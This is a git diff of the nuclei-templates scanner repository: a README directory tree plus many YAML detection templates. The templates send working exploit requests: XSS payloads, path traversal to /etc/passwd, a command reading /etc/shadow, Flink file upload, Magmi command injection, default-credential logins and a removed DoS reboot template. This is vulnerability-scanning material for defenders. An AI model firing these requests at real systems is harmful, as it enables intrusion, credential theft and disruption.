│   ├── identityguard-selfservice-entrust.yaml
│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
│   ├── jenkins-asyncpeople.yaml
│   ├── jmx-console.yaml
│   ├── kubernetes-pods.yaml
│   ├── manage-engine-admanager-panel.yaml
│   ├── mobileiron-login.yaml
│   ├── netscaler-gateway.yaml
│   ├── network-camera-detect.yaml
│   ├── oipm-detect.yaml
│   ├── parallels-html-client.yaml
│   ├── phpmyadmin-panel.yaml
│   ├── polycom-admin-detect.yaml
│   ├── pulse-secure-panel.yaml
│   ├── rabbitmq-dashboard.yaml
│   ├── rsa-self-service.yaml
│   ├── sap-hana-xsengine-panel.yaml
│   ├── sap-netweaver-detect.yaml
│   ├── sap-recon-detect.yaml
│   ├── solarwinds-orion.yaml
│   ├── sonarqube-login.yaml
│   ├── sonicwall-management-panel.yaml
│   ├── sonicwall-sslvpn-panel.yaml
│   ├── sophos-fw-version-detect.yaml
│   ├── supervpn-panel.yaml
│   ├── swagger-panel.yaml
│   ├── tikiwiki-cms.yaml
│   ├── traefik-dashboard.yaml
│   ├── virtual-ema-detect.yaml
│   ├── weave-scope-dashboard-detect.yaml
│   ├── webeditors.yaml
│   ├── webmin-panel.yaml
│   ├── workspace-one-uem.yaml
│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
├── payloads
│   ├── CVE-2020-5776.csv
│   └── CVE-2020-6287.xml
├── security-misconfiguration
├── misconfiguration
│   ├── aem-groovyconsole.yaml
│   ├── airflow-api-exposure.yaml
│   ├── apache-tomcat-snoop.yaml
│   ├── apc-info.yaml
│   ├── aspx-debug-mode.yaml
│   ├── basic-cors.yaml
│   ├── aws-redirect.yaml
│   ├── cgi-test-page.yaml
│   ├── django-debug-detect.yaml
│   ├── docker-api.yaml
│   ├── docker-registry.yaml
│   ├── druid-monitor.yaml
│   ├── drupal-user-enum-ajax.yaml
│   ├── drupal-user-enum-redirect.yaml
│   ├── elasticsearch.yaml
│   ├── exposed-kibana.yaml
│   ├── exposed-service-now.yaml
│   ├── front-page-misconfig.yaml
│   ├── jenkins-stack-trace.yaml
│   ├── jira-service-desk-signup.yaml
│   ├── jira-unauthenticated-dashboards.yaml
│   ├── jira-unauthenticated-popular-filters.yaml
│   ├── jira-unauthenticated-projects.yaml
│   ├── jira-unauthenticated-user-picker.yaml
│   ├── hadoop-unauth.yaml
│   ├── jkstatus-manager.yaml
│   ├── jupyter-ipython-unauth.yaml
│   ├── kubernetes-pods.yaml
│   ├── larvel-debug.yaml
│   ├── linkerd-ssrf-detect.yaml
│   ├── manage-engine-ad-search.yaml
│   ├── php-errors.yaml
│   ├── put-method-enabled.yaml
│   ├── rack-mini-profiler.yaml
│   ├── salesforce-aura-misconfig.yaml
│   ├── shell-history.yaml
│   ├── sidekiq-dashboard.yaml
│   ├── springboot-detect.yaml
│   ├── symfony-debugmode.yaml
│   ├── tomcat-scripts.yaml
│   ├── unauthenticated-airflow.yaml
│   ├── unauthenticated-jenkin-dashboard.yaml
│   ├── unauthenticated-nacos-access.yaml
│   ├── wamp-xdebug-detect.yaml
│   ├── wordpress-accessible-wpconfig.yaml
│   └── zenphoto-installation-sensitive-info.yaml
├── subdomain-takeover
│   ├── detect-all-takeovers.yaml
│   └── s3-subtakeover.yaml
├── takeovers
│   └── subdomain-takeover.yaml
├── technologies
│   ├── apache-detect.yaml
│   ├── artica-web-proxy-detect.yaml
@@ -368,16 +443,17 @@ An overview of the nuclei template directory including number of templates and H
│   ├── clockwork-php-page.yaml
│   ├── couchdb-detect.yaml
│   ├── favicon-detection.yaml
│   ├── firebase-detect.yaml
│   ├── google-storage.yaml
│   ├── graphql.yaml
│   ├── graylog-api-browser.yaml
│   ├── home-assistant.yaml
│   ├── jaspersoft-detect.yaml
│   ├── jira-detect.yaml
│   ├── jolokia.yaml
│   ├── kibana-detect.yaml
│   ├── kong-detect.yaml
│   ├── liferay-portal-detect.yaml
│   ├── linkerd-badrule-detect.yaml
│   ├── linkerd-ssrf-detect.yaml
│   ├── lotus-domino-version.yaml
│   ├── magmi-detect.yaml
│   ├── mrtg-detect.yaml
@@ -385,7 +461,6 @@ An overview of the nuclei template directory including number of templates and H
│   ├── nifi-detech.yaml
│   ├── oidc-detect.yaml
│   ├── pi-hole-detect.yaml
│   ├── prometheus-exporter-detect.yaml
│   ├── prometheus-exposed-panel.yaml
│   ├── prtg-detect.yaml
│   ├── redmine-cli-detect.yaml
@@ -395,69 +470,90 @@ An overview of the nuclei template directory including number of templates and H
│   ├── shiro-detect.yaml
│   ├── sql-server-reporting.yaml
│   ├── tech-detect.yaml
│   ├── telerik-dialoghandler-detect.yaml
│   ├── telerik-fileupload-detect.yaml
│   ├── terraform-detect.yaml
│   ├── tomcat-detect.yaml
│   ├── tor-socks-proxy.yaml
│   ├── waf-detect.yaml
│   ├── weblogic-detect.yaml
│   └── werkzeug-debugger-detect.yaml
├── tokens
│   ├── amazon-mws-auth-token-value.yaml
│   ├── aws-access-key-value.yaml
│   ├── credentials-disclosure.yaml
│   ├── fcm-server-key.yaml
│   ├── google-api-key.yaml
│   ├── http-username-password.yaml
│   ├── mailchimp-api-key.yaml
│   └── slack-access-token.yaml
├── vulnerabilities
│   ├── bullwark-momentum-series-directory-traversal.yaml
│   ├── cached-aem-pages.yaml
│   ├── couchdb-adminparty.yaml
│   ├── crlf-injection.yaml
│   ├── discourse-xss.yaml
│   ├── easy-wp-smtp-listing.yaml
│   ├── eclipse-help-system-xss.yaml
│   ├── git-config-nginxoffbyslash.yaml
│   ├── ibm-infoprint-directory-traversal.yaml
│   ├── mcafee-epo-rce.yaml
│   ├── microstrategy-ssrf.yaml
│   ├── mida-eframework-xss.yaml
│   ├── moodle-filter-jmol-lfi.yaml
│   ├── moodle-filter-jmol-xss.yaml
│   ├── nginx-module-vts-xss.yaml
│   ├── nuuo-nvrmini2-rce.yaml
│   ├── open-redirect.yaml
│   ├── oracle-ebs-bispgraph-file-access.yaml
│   ├── pdf-signer-ssti-to-rce.yaml
│   ├── rails6-xss.yaml
│   ├── rce-shellshock-user-agent.yaml
│   ├── rce-via-java-deserialization.yaml
│   ├── rconfig-rce.yaml
│   ├── sassy-social-share.yaml
│   ├── sick-beard-xss.yaml
│   ├── springboot-actuators-jolokia-xxe.yaml
│   ├── springboot-h2-db-rce.yaml
│   ├── symantec-messaging-gateway.yaml
│   ├── symfony-debugmode.yaml
│   ├── tikiwiki-reflected-xss.yaml
│   ├── tomcat-manager-pathnormalization.yaml
│   ├── twig-php-ssti.yaml
│   ├── vmware-vcenter-lfi-linux.yaml
│   ├── vmware-vcenter-lfi.yaml
│   ├── vpms-auth-bypass.yaml
│   ├── w3c-total-cache-ssrf.yaml
│   ├── wems-manager-xss.yaml
│   ├── wordpress-emails-verification-for-woocommerce.yaml
│   ├── wordpress-social-metrics-tracker.yaml
│   ├── wordpress-wordfence-xss.yaml
│   ├── wordpress-wpcourses-info-disclosure.yaml
│   └── zms-auth-bypass.yaml
├── wordlists
│   └── wp-plugins.txt
│   ├── generic
│   │   ├── basic-cors.yaml
│   │   ├── basic-xss-prober.yaml
│   │   ├── crlf-injection.yaml
│   │   ├── top-xss-params.yaml
│   │   └── url-redirect.yaml
│   ├── ibm
│   │   ├── eclipse-help-system-xss.yaml
│   │   └── ibm-infoprint-directory-traversal.yaml
│   ├── jenkins
│   │   ├── jenkins-asyncpeople.yaml
│   │   ├── jenkins-stack-trace.yaml
│   │   └── unauthenticated-jenkin-dashboard.yaml
│   ├── jira
│   │   ├── jira-service-desk-signup.yaml
│   │   ├── jira-unauthenticated-dashboards.yaml
│   │   ├── jira-unauthenticated-popular-filters.yaml
│   │   ├── jira-unauthenticated-projects.yaml
│   │   └── jira-unauthenticated-user-picker.yaml
│   ├── moodle
│   │   ├── moodle-filter-jmol-lfi.yaml
│   │   └── moodle-filter-jmol-xss.yaml
│   ├── oracle
│   │   └── oracle-ebs-bispgraph-file-access.yaml
│   ├── other
│   │   ├── acme-xss.yaml
│   │   ├── aspnuke-openredirect.yaml
│   │   ├── bullwark-momentum-series-directory-traversal.yaml
│   │   ├── cached-aem-pages.yaml
│   │   ├── couchdb-adminparty.yaml
│   │   ├── discourse-xss.yaml
│   │   ├── mcafee-epo-rce.yaml
│   │   ├── microstrategy-ssrf.yaml
│   │   ├── mida-eframework-xss.yaml
│   │   ├── nginx-module-vts-xss.yaml
│   │   ├── nuuo-nvrmini2-rce.yaml
│   │   ├── pdf-signer-ssti-to-rce.yaml
│   │   ├── rce-shellshock-user-agent.yaml
│   │   ├── rce-via-java-deserialization.yaml
│   │   ├── rconfig-rce.yaml
│   │   ├── sick-beard-xss.yaml
│   │   ├── symantec-messaging-gateway.yaml
│   │   ├── thinkific-redirect.yaml
│   │   ├── tikiwiki-reflected-xss.yaml
│   │   ├── twig-php-ssti.yaml
│   │   ├── vpms-auth-bypass.yaml
│   │   ├── wems-manager-xss.yaml
│   │   ├── yarn-resourcemanager-rce.yaml
│   │   └── zms-auth-bypass.yaml
│   ├── rails
│   │   └── rails6-xss.yaml
│   ├── springboot
│   │   ├── springboot-actuators-jolokia-xxe.yaml
│   │   └── springboot-h2-db-rce.yaml
│   ├── vmware
│   │   ├── vmware-vcenter-lfi-linux.yaml
│   │   └── vmware-vcenter-lfi.yaml
│   └── wordpress
│   ├── easy-wp-smtp-listing.yaml
│   ├── sassy-social-share.yaml
│   ├── w3c-total-cache-ssrf.yaml
│   ├── wordpress-accessible-wpconfig.yaml
│   ├── wordpress-db-backup.yaml
│   ├── wordpress-debug-log.yaml
│   ├── wordpress-directory-listing.yaml
│   ├── wordpress-emails-verification-for-woocommerce.yaml
│   ├── wordpress-emergency-script.yaml
│   ├── wordpress-installer-log.yaml
│   ├── wordpress-social-metrics-tracker.yaml
│   ├── wordpress-tmm-db-migrate.yaml
│   ├── wordpress-user-enumeration.yaml
│   ├── wordpress-wordfence-xss.yaml
│   └── wordpress-wpcourses-info-disclosure.yaml
└── workflows
├── artica-web-proxy-workflow.yaml
├── basic-auth-workflow.yaml
├── bigip-workflow.yaml
├── cisco-asa-workflow.yaml
├── grafana-workflow.yaml
@@ -477,13 +573,31 @@ An overview of the nuclei template directory including number of templates and H
</details>
**24 directories, 418 files**.
**53 directories, 473 files**.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
📖 Documentation
-----
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
💪 Contributions
-----
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
💬 Discussion
-----
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
👨‍💻 Community
-----
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
💡 Notes
-----
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
------
**Notes:**
1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
Thanks again for your contribution and keeping the community vibrant. :heart:
+1 -1
View File
@@ -9,7 +9,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
- "{{BaseURL}}/cgi-bin/status"
- "{{BaseURL}}/cgi-bin/stats"
- "{{BaseURL}}/cgi-bin/test"
+1 -1
View File
@@ -2,7 +2,7 @@ id: CVE-2017-9506
info:
name: Jira IconURIServlet SSRF
author: Ice3man
author: pd-team
severity: high
description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
-1
View File
@@ -11,7 +11,6 @@ requests:
path:
- "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
matchers-condition: and
matchers:
- type: status
+18
View File
@@ -0,0 +1,18 @@
id: CVE-2018-7251
info:
name: AnchorCMS Error Log Exposure
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/anchor/errors.log'
matchers:
- type: word
words:
- '"date":'
- '"message":'
- '"trace":['
condition: and
+20
View File
@@ -0,0 +1,20 @@
id: CVE-2018-8006
info:
name: Apache ActiveMQ XSS
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'
matchers-condition: and
matchers:
- type: word
words:
- '"><script>alert("1")</script>'
- type: word
words:
- "/html"
part: header
+15
View File
@@ -0,0 +1,15 @@
id: CVE-2019-10092
info:
name: Apache mod_proxy HTML Injection / Partial XSS
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/%5cgoogle.com/evil.html'
matchers:
- type: word
words:
- "<a href=\"/\\google.com/evil.html\">"
-1
View File
@@ -24,7 +24,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
- "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
matchers-condition: and
matchers:
- type: word
+19
View File
@@ -0,0 +1,19 @@
id: CVE-2019-14223
info:
name: Alfresco Share Open Redirect
author: pd-team
severity: low
requests:
- method: POST
path:
- '{{BaseURL}}/share/page/dologin'
headers:
Content-Type: application/x-www-form-urlencoded
body: success=%2Fshare%2Fpage%2F&failure=:\\google.com&username=baduser&password=badpass
matchers:
- type: regex
part: body
regex:
- "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?google\\.com(?:\\s*)$"
+3 -3
View File
@@ -11,14 +11,14 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
- "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
- '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
- '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
matchers-condition: and
matchers:
- type: word
words:
- "<img src=x onerror=alert(1)>"
- "><img src=x onerror=alert(1)>>)1(trela=rorreno"
part: body
- type: word
-1
View File
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
- "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
matchers-condition: and
matchers:
- type: word
-1
View File
@@ -18,7 +18,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/_async/AsyncResponseService"
- "{{BaseURL}}:7001/_async/AsyncResponseService"
body: >-
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+26
View File
@@ -0,0 +1,26 @@
id: CVE-2019-7219
info:
name: Zarafa WebApp Reflected XSS
author: pd-team
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/webapp/?fccc0\"><script>alert(1)</script>5f43d=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "\"><script>alert(1)</script>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
-1
View File
@@ -19,7 +19,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/api/timelion/run"
- "{{BaseURL}}:5601/api/timelion/run"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
Content-Type: "application/json; charset=utf-8"
+18
View File
@@ -0,0 +1,18 @@
id: CVE-2019-9955
info:
name: CVE-2019-9955 Zyxel XSS
author: pd-team
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/?mobile=1&mp_idx=%22;alert(%271%27);//"
matchers:
- type: word
part: body
words:
- "\";alert('1');//"
- "<title>Welcome</title>"
condition: and
-14
View File
@@ -17,12 +17,6 @@ requests:
Accept: */*
Connection: close
- |
GET / HTTP/1.1
Host: {{Hostname}}:8060
Accept: */*
Connection: close
- |
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: {{Hostname}}
@@ -31,14 +25,6 @@ requests:
Connection: close
Referer: http://{{Hostname}}
- |
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: {{Hostname}}:8060
Accept: */*
Cache-Control: max-age=0
Connection: close
Referer: http://{{Hostname}}:8060/
extractors:
- type: regex
name: endpoint
-1
View File
@@ -19,7 +19,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/context.json"
- "{{BaseURL}}:8181/context.json"
headers:
Content-Type: application/json
body: |
-1
View File
@@ -13,7 +13,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}:8081"
headers:
X-Forwarded-Prefix: "https://foo.nl"
matchers-condition: and
-28
View File
@@ -1,28 +0,0 @@
id: CVE-2020-16139
info:
name: Cisco 7937G Denial-of-Service Reboot Attack
author: pikpikcu
severity: low
# Refrence:-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
requests:
- raw:
- |
POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "application/xml"
- type: word
words:
- 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
-1
View File
@@ -18,7 +18,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/run"
- "{{BaseURL}}:8000/run"
body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
headers:
Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+1 -1
View File
@@ -15,7 +15,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
+32
View File
@@ -0,0 +1,32 @@
id: CVE-2020-17518
info:
name: Apache Flink Upload Path Traversal
author: pd-team
severity: critical
reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
requests:
- raw:
- |
POST /jars/upload HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
test-poc
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
- method: GET
path:
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
matchers:
- type: dsl
dsl:
- 'contains(body, "test-poc") == true && status_code == 200' # Using CVE-2020-17519 to confirm this.
+23
View File
@@ -0,0 +1,23 @@
id: CVE-2020-17519
info:
name: Apache Flink directory traversal
author: pd-team
severity: high
description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process.
# Source: https://github.com/B1anda0/CVE-2020-17519
requests:
- method: GET
path:
- "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
+27
View File
@@ -0,0 +1,27 @@
id: CVE-2020-1943
info:
name: Apache OFBiz Reflected XSS
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/control/stream?contentId=<svg/onload=alert(1)>'
matchers-condition: and
matchers:
- type: word
words:
- "<svg/onload=alert(1)>"
part: body
- type: word
words:
- "text/html"
part: header
- type: status
status:
- 200
-1
View File
@@ -24,7 +24,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/console/login/LoginForm.jsp"
- "{{BaseURL}}:7001/console/login/LoginForm.jsp"
matchers-condition: and
matchers:
- type: word
+1 -2
View File
@@ -8,8 +8,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
- "{{BaseURL}}:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
- "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
matchers-condition: and
matchers:
- type: status
+1 -1
View File
@@ -20,7 +20,7 @@ requests:
Content-type: application/x-www-form-urlencoded
Connection: close
profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
- |
POST /magmi/web/magmi_run.php HTTP/1.1
Host: {{Hostname}}
+1 -1
View File
@@ -17,7 +17,7 @@ info:
requests:
- payloads:
data: "payloads/CVE-2020-6287.xml"
data: helpers/payloads/CVE-2020-6287.xml
raw:
- |
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
+3 -7
View File
@@ -14,16 +14,12 @@ info:
- https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
requests:
- payloads:
port:
- "80"
- "443"
- "8443"
raw:
- raw:
- |
GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}:§port§
Host: {{Hostname}}
Connection: close
matchers-condition: and
matchers:
- type: status
+2 -5
View File
@@ -18,15 +18,12 @@ requests:
- "systeminfo" # Windows
- "lsb_release -a" # Linux
- "sysctl kern.ostype" # macOS
port:
- "80"
- "443"
- "8080"
attack: sniper
raw:
- |
POST /api/jsonws/invoke HTTP/1.1
Host: {{Hostname}}:§port§
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
Content-Length: 4938
Accept: */*
-1
View File
@@ -13,7 +13,6 @@ requests:
- method: GET
path:
- '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
- '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
matchers-condition: and
matchers:
- type: word
+35
View File
@@ -0,0 +1,35 @@
id: CVE-2020-9376
info:
name: D-Link Information Disclosure via getcfg.php
author: whynotke
severity: high
description: |
D-Link DIR-610 devices allow Information Disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php.
NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-9376
requests:
- method: POST
path:
- "{{BaseURL}}/getcfg.php"
body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<name>Admin</name>"
- "</usrid>"
- "</password>"
condition: and
part: body
-1
View File
@@ -12,7 +12,6 @@ requests:
Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
path:
- "{{BaseURL}}/index.jsp"
- "{{BaseURL}}:8080/index.jsp"
matchers-condition: and
matchers:
- type: status
@@ -0,0 +1,22 @@
id: activemq-default-login
info:
name: Apache ActiveMQ Default Credentials
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/admin/'
headers:
Authorization: "Basic YWRtaW46YWRtaW4="
matchers:
- type: word
words:
- 'Welcome to the Apache ActiveMQ Console of <b>'
- '<h2>Broker</h2>'
condition: and
# We could add a request condition block to only send this request if the
# site response URL had activeMQ broker stuff in the source.
+19
View File
@@ -0,0 +1,19 @@
id: ambari-default-credentials
info:
name: Apache Ambari Default Credentials
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name'
headers:
Authorization: "Basic YWRtaW46YWRtaW4="
matchers:
- type: word
words:
- '"Users" : {'
- 'AMBARI.'
condition: and
+20
View File
@@ -0,0 +1,20 @@
id: ofbiz-default-credentials
info:
name: Apache OfBiz Default Credentials
author: pd-team
severity: medium
requests:
- method: POST
path:
- '{{BaseURL}}/control/login'
headers:
Content-Type: application/x-www-form-urlencoded
body: USERNAME=admin&PASSWORD=ofbiz&FTOKEN=&JavaScriptEnabled=Y
matchers:
- type: word
words:
- "ofbiz-pagination-template"
- "<span>Powered by OFBiz</span>"
condition: and
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/api/whoami"
- "{{BaseURL}}:15672/api/whoami"
headers:
Authorization: "Basic Z3Vlc3Q6Z3Vlc3Q="
matchers-condition: and
@@ -16,7 +16,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
- "{{BaseURL}}:17778/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
headers:
Authorization: "Basic YWRtaW46"
matchers-condition: and
+26
View File
@@ -0,0 +1,26 @@
id: zabbix-default-credentials
info:
name: Zabbix Default Credentials
author: pd-team
severity: critical
requests:
- method: POST
path:
- '{{BaseURL}}/index.php'
headers:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
body: name=Admin&password=zabbix&autologin=1&enter=Sign+in
matchers-condition: and
matchers:
- type: word
words:
- "zabbix.php?action=dashboard.view"
- type: status
status:
- 302
+1 -1
View File
@@ -2,7 +2,7 @@ id: cname-service-detector
info:
name: 3rd party service checker
author: bauthard
author: pd-team
severity: info
dns:
+1 -1
View File
@@ -2,7 +2,7 @@ id: servfail-refused-hosts
info:
name: Servfail Host Finder
author: mzack9999
author: pd-team
severity: info
dns:
+17
View File
@@ -0,0 +1,17 @@
id: active-admin-exposure
info:
name: ActiveAdmin Admin Dasboard Exposure
author: pd-team
severity: info
requests:
- method: GET
path:
- '{{BaseURL}}/admin/login'
matchers:
- type: word
words:
- "active_admin_content"
- "active_admin-"
condition: and
+18
View File
